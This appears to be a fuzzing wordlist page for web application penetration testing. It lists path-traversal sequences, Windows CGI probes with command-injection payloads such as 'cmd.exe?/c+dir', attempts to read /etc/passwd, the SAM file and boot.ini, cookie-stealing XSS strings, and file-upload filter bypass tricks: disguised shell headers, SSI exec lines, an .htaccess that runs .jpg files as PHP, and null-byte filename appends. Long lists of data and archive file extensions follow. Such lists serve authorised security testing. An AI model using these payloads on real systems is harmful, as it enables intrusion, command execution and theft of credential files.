.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2009) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2009 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> 